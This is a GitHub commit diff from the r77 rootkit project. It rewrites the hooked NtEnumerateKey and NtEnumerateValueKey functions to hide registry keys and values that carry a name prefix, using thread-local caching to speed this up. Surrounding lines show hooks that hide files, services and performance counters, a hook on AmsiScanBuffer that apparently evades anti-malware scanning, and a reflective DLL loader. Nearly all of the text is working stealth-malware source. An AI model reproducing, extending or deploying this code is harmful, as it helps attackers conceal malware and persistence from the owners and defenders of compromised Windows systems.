Skip to content

Commit b19c4e0

Browse files
bytecode77bytecode77
committed
FIx NtEnumerateKey & ValueKey poor performance
1 parent 5a718c9 commit b19c4e0

File tree

3 files changed

+104
-54
lines changed

3 files changed

+104
-54
lines changed

‎r77/Hooks.c‎

Lines changed: 103 additions & 52 deletions
Original file line numberDiff line numberDiff line change
@@ -22,6 +22,15 @@ static NT_PDHGETRAWCOUNTERARRAYW OriginalPdhGetRawCounterArrayW;
2222
static NT_PDHGETFORMATTEDCOUNTERARRAYW OriginalPdhGetFormattedCounterArrayW;
2323
static NT_AMSISCANBUFFER OriginalAmsiScanBuffer;
2424

25+
static DWORD TlsNtEnumerateKeyCacheKey;
26+
static DWORD TlsNtEnumerateKeyCacheIndex;
27+
static DWORD TlsNtEnumerateKeyCacheI;
28+
static DWORD TlsNtEnumerateKeyCacheCorrectedIndex;
29+
static DWORD TlsNtEnumerateValueKeyCacheKey;
30+
static DWORD TlsNtEnumerateValueKeyCacheIndex;
31+
static DWORD TlsNtEnumerateValueKeyCacheI;
32+
static DWORD TlsNtEnumerateValueKeyCacheCorrectedIndex;
33+
2534
VOID InitializeHooks()
2635
{
2736
DetourTransactionBegin();
@@ -46,6 +55,15 @@ VOID InitializeHooks()
4655
// EnumServiceGroupW and EnumServicesStatusExW from advapi32.dll access services.exe through RPC.
4756
// There is no longer one single syscall wrapper function to hook, but multiple higher level functions.
4857
// EnumServicesStatusA and EnumServicesStatusExA also implement the RPC, but do not seem to be used by any applications out there.
58+
59+
TlsNtEnumerateKeyCacheKey = TlsAlloc();
60+
TlsNtEnumerateKeyCacheIndex = TlsAlloc();
61+
TlsNtEnumerateKeyCacheI = TlsAlloc();
62+
TlsNtEnumerateKeyCacheCorrectedIndex = TlsAlloc();
63+
TlsNtEnumerateValueKeyCacheKey = TlsAlloc();
64+
TlsNtEnumerateValueKeyCacheIndex = TlsAlloc();
65+
TlsNtEnumerateValueKeyCacheI = TlsAlloc();
66+
TlsNtEnumerateValueKeyCacheCorrectedIndex = TlsAlloc();
4967
}
5068
VOID UninitializeHooks()
5169
{
@@ -65,6 +83,15 @@ VOID UninitializeHooks()
6583
UninstallHook(OriginalPdhGetFormattedCounterArrayW, HookedPdhGetFormattedCounterArrayW);
6684
UninstallHook(OriginalAmsiScanBuffer, HookedAmsiScanBuffer);
6785
DetourTransactionCommit();
86+
87+
TlsFree(TlsNtEnumerateKeyCacheKey);
88+
TlsFree(TlsNtEnumerateKeyCacheIndex);
89+
TlsFree(TlsNtEnumerateKeyCacheI);
90+
TlsFree(TlsNtEnumerateKeyCacheCorrectedIndex);
91+
TlsFree(TlsNtEnumerateValueKeyCacheKey);
92+
TlsFree(TlsNtEnumerateValueKeyCacheIndex);
93+
TlsFree(TlsNtEnumerateValueKeyCacheI);
94+
TlsFree(TlsNtEnumerateValueKeyCacheCorrectedIndex);
6895
}
6996

7097
static VOID InstallHook(LPCSTR dll, LPCSTR function, LPVOID *originalFunction, LPVOID hookedFunction)
@@ -224,7 +251,6 @@ static NTSTATUS NTAPI HookedNtQueryDirectoryFile(HANDLE fileHandle, HANDLE event
224251
if (GetFileType(fileHandle) == FILE_TYPE_PIPE) StrCpyW(fileDirectoryPath, L"\\\\.\\pipe\\");
225252
else GetPathFromHandle(fileHandle, fileDirectoryPath, MAX_PATH);
226253

227-
// github issue #104
228254
if (returnSingleEntry)
229255
{
230256
// When returning a single entry, skip until the first item is found that is not hidden.
@@ -336,43 +362,94 @@ static NTSTATUS NTAPI HookedNtQueryDirectoryFileEx(HANDLE fileHandle, HANDLE eve
336362
}
337363
static NTSTATUS NTAPI HookedNtEnumerateKey(HANDLE key, ULONG index, NT_KEY_INFORMATION_CLASS keyInformationClass, LPVOID keyInformation, ULONG keyInformationLength, PULONG resultLength)
338364
{
339-
NTSTATUS status = OriginalNtEnumerateKey(key, index, keyInformationClass, keyInformation, keyInformationLength, resultLength);
365+
if (keyInformationClass == KeyNodeInformation)
366+
{
367+
return OriginalNtEnumerateKey(key, index, keyInformationClass, keyInformation, keyInformationLength, resultLength);
368+
}
369+
370+
HANDLE cacheKey = (HANDLE)TlsGetValue(TlsNtEnumerateKeyCacheKey);
371+
ULONG cacheIndex = (ULONG)TlsGetValue(TlsNtEnumerateKeyCacheIndex);
372+
ULONG cacheI = (ULONG)TlsGetValue(TlsNtEnumerateKeyCacheI);
373+
ULONG cacheCorrectedIndex = (ULONG)TlsGetValue(TlsNtEnumerateKeyCacheCorrectedIndex);
374+
375+
ULONG i = 0;
376+
ULONG correctedIndex = 0;
377+
378+
if (cacheKey == key && cacheIndex == index - 1)
379+
{
380+
// This function was recently called the index - 1, so we can continue from the last known position.
381+
// This increases performance from O(N^2) to O(N).
382+
i = cacheI;
383+
correctedIndex = cacheCorrectedIndex + 1;
384+
}
385+
386+
BYTE buffer[1024];
387+
PNT_KEY_BASIC_INFORMATION basicInformation = (PNT_KEY_BASIC_INFORMATION)buffer;
340388

341-
// Implement hiding of registry keys by correcting the index in NtEnumerateKey.
342-
if (status == ERROR_SUCCESS && (keyInformationClass == KeyBasicInformation || keyInformationClass == KeyNameInformation))
389+
for (; i <= index; correctedIndex++)
343390
{
344-
for (ULONG i = 0, newIndex = 0; newIndex <= index && status == ERROR_SUCCESS; i++)
391+
if (OriginalNtEnumerateKey(key, correctedIndex, KeyBasicInformation, basicInformation, 1024, resultLength) != ERROR_SUCCESS)
345392
{
346-
status = OriginalNtEnumerateKey(key, i, keyInformationClass, keyInformation, keyInformationLength, resultLength);
393+
return OriginalNtEnumerateKey(key, correctedIndex, keyInformationClass, keyInformation, keyInformationLength, resultLength);
394+
}
347395

348-
if (!HasPrefix(KeyInformationGetName(keyInformation, keyInformationClass)))
349-
{
350-
newIndex++;
351-
}
396+
if (!HasPrefix(basicInformation->Name))
397+
{
398+
i++;
352399
}
353400
}
354401

355-
return status;
402+
correctedIndex--;
403+
404+
TlsSetValue(TlsNtEnumerateKeyCacheKey, key);
405+
TlsSetValue(TlsNtEnumerateKeyCacheIndex, index);
406+
TlsSetValue(TlsNtEnumerateKeyCacheI, i);
407+
TlsSetValue(TlsNtEnumerateKeyCacheCorrectedIndex, correctedIndex);
408+
409+
return OriginalNtEnumerateKey(key, correctedIndex, keyInformationClass, keyInformation, keyInformationLength, resultLength);
356410
}
357411
static NTSTATUS NTAPI HookedNtEnumerateValueKey(HANDLE key, ULONG index, NT_KEY_VALUE_INFORMATION_CLASS keyValueInformationClass, LPVOID keyValueInformation, ULONG keyValueInformationLength, PULONG resultLength)
358412
{
359-
NTSTATUS status = OriginalNtEnumerateValueKey(key, index, keyValueInformationClass, keyValueInformation, keyValueInformationLength, resultLength);
413+
HANDLE cacheKey = (HANDLE)TlsGetValue(TlsNtEnumerateValueKeyCacheKey);
414+
ULONG cacheIndex = (ULONG)TlsGetValue(TlsNtEnumerateValueKeyCacheIndex);
415+
ULONG cacheI = (ULONG)TlsGetValue(TlsNtEnumerateValueKeyCacheI);
416+
ULONG cacheCorrectedIndex = (ULONG)TlsGetValue(TlsNtEnumerateValueKeyCacheCorrectedIndex);
417+
418+
ULONG i = 0;
419+
ULONG correctedIndex = 0;
360420

361-
// Implement hiding of registry values by correcting the index in NtEnumerateValueKey.
362-
if (status == ERROR_SUCCESS && (keyValueInformationClass == KeyValueBasicInformation || keyValueInformationClass == KeyValueFullInformation))
421+
if (cacheKey == key && cacheIndex == index - 1)
363422
{
364-
for (ULONG i = 0, newIndex = 0; newIndex <= index && status == ERROR_SUCCESS; i++)
423+
// This function was recently called the index - 1, so we can continue from the last known position.
424+
// This increases performance from O(N^2) to O(N).
425+
i = cacheI;
426+
correctedIndex = cacheCorrectedIndex + 1;
427+
}
428+
429+
BYTE buffer[1024];
430+
PNT_KEY_VALUE_BASIC_INFORMATION basicInformation = (PNT_KEY_VALUE_BASIC_INFORMATION)buffer;
431+
432+
for (; i <= index; correctedIndex++)
433+
{
434+
if (OriginalNtEnumerateValueKey(key, correctedIndex, KeyValueBasicInformation, basicInformation, 1024, resultLength) != ERROR_SUCCESS)
365435
{
366-
status = OriginalNtEnumerateValueKey(key, i, keyValueInformationClass, keyValueInformation, keyValueInformationLength, resultLength);
436+
return OriginalNtEnumerateValueKey(key, correctedIndex, keyValueInformationClass, keyValueInformation, keyValueInformationLength, resultLength);
437+
}
367438

368-
if (!HasPrefix(KeyValueInformationGetName(keyValueInformation, keyValueInformationClass)))
369-
{
370-
newIndex++;
371-
}
439+
if (!HasPrefix(basicInformation->Name))
440+
{
441+
i++;
372442
}
373443
}
374444

375-
return status;
445+
correctedIndex--;
446+
447+
TlsSetValue(TlsNtEnumerateValueKeyCacheKey, key);
448+
TlsSetValue(TlsNtEnumerateValueKeyCacheIndex, index);
449+
TlsSetValue(TlsNtEnumerateValueKeyCacheI, i);
450+
TlsSetValue(TlsNtEnumerateValueKeyCacheCorrectedIndex, correctedIndex);
451+
452+
return OriginalNtEnumerateValueKey(key, correctedIndex, keyValueInformationClass, keyValueInformation, keyValueInformationLength, resultLength);
376453
}
377454
static BOOL WINAPI HookedEnumServiceGroupW(SC_HANDLE serviceManager, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPVOID reserved)
378455
{
@@ -700,30 +777,6 @@ static VOID FileInformationSetNextEntryOffset(LPVOID fileInformation, FILE_INFOR
700777
break;
701778
}
702779
}
703-
static PWCHAR KeyInformationGetName(LPVOID keyInformation, NT_KEY_INFORMATION_CLASS keyInformationClass)
704-
{
705-
switch (keyInformationClass)
706-
{
707-
case KeyBasicInformation:
708-
return ((PNT_KEY_BASIC_INFORMATION)keyInformation)->Name;
709-
case KeyNameInformation:
710-
return ((PNT_KEY_NAME_INFORMATION)keyInformation)->Name;
711-
default:
712-
return NULL;
713-
}
714-
}
715-
static PWCHAR KeyValueInformationGetName(LPVOID keyValueInformation, NT_KEY_VALUE_INFORMATION_CLASS keyValueInformationClass)
716-
{
717-
switch (keyValueInformationClass)
718-
{
719-
case KeyValueBasicInformation:
720-
return ((PNT_KEY_VALUE_BASIC_INFORMATION)keyValueInformation)->Name;
721-
case KeyValueFullInformation:
722-
return ((PNT_KEY_VALUE_FULL_INFORMATION)keyValueInformation)->Name;
723-
default:
724-
return NULL;
725-
}
726-
}
727780
static VOID FilterEnumServiceStatus(LPENUM_SERVICE_STATUSW services, LPDWORD servicesReturned)
728781
{
729782
for (DWORD i = 0; i < *servicesReturned; i++)
@@ -791,18 +844,16 @@ static DWORD GetProcessIdFromPdhString(LPCWSTR str)
791844
// Parses a process ID from this type of string:
792845
// "pid_1234_luid_0x00000000_0x0000C9DE_phys_0_eng_0_engtype_3D"
793846

794-
LPWSTR name = str;
795-
796-
if (!StrCmpNW(name, L"pid_", 4))
847+
if (!StrCmpNW(str, L"pid_", 4))
797848
{
798-
name = &name[4];
799-
PWSTR endIndex = StrStrW(name, L"_");
849+
str = &str[4];
850+
PWSTR endIndex = StrStrW(str, L"_");
800851
if (endIndex)
801852
{
802853
WCHAR pidString[10];
803854

804-
DWORD strLength = endIndex - name;
805-
i_wmemcpy(pidString, name, strLength);
855+
DWORD strLength = endIndex - str;
856+
i_wmemcpy(pidString, str, strLength);
806857
pidString[strLength] = L'\0';
807858

808859
return StrToIntW(pidString);

‎r77/Hooks.h‎

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -34,8 +34,6 @@ static LPWSTR CreatePath(LPWSTR result, LPCWSTR directoryName, LPCWSTR fileName)
3434
static LPWSTR FileInformationGetName(LPVOID fileInformation, FILE_INFORMATION_CLASS fileInformationClass, LPWSTR name);
3535
static ULONG FileInformationGetNextEntryOffset(LPVOID fileInformation, FILE_INFORMATION_CLASS fileInformationClass);
3636
static VOID FileInformationSetNextEntryOffset(LPVOID fileInformation, FILE_INFORMATION_CLASS fileInformationClass, ULONG value);
37-
static PWCHAR KeyInformationGetName(LPVOID keyInformation, NT_KEY_INFORMATION_CLASS keyInformationClass);
38-
static PWCHAR KeyValueInformationGetName(LPVOID keyValueInformation, NT_KEY_VALUE_INFORMATION_CLASS keyValueInformationClass);
3937
static VOID FilterEnumServiceStatus(LPENUM_SERVICE_STATUSW services, LPDWORD servicesReturned);
4038
static VOID FilterEnumServiceStatusProcess(LPENUM_SERVICE_STATUS_PROCESSW services, LPDWORD servicesReturned);
4139
static BOOL GetIsHiddenFromPdhString(LPCWSTR str);

‎r77/ReflectiveDllMain.c‎

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
#include "ReflectiveDllMain.h"
22
#include "ntdll.h"
3+
#include "r77win.h"
34
#include "peb.h"
45

56
BOOL WINAPI ReflectiveDllMain(LPBYTE dllBase)

0 commit comments

Comments
 (0)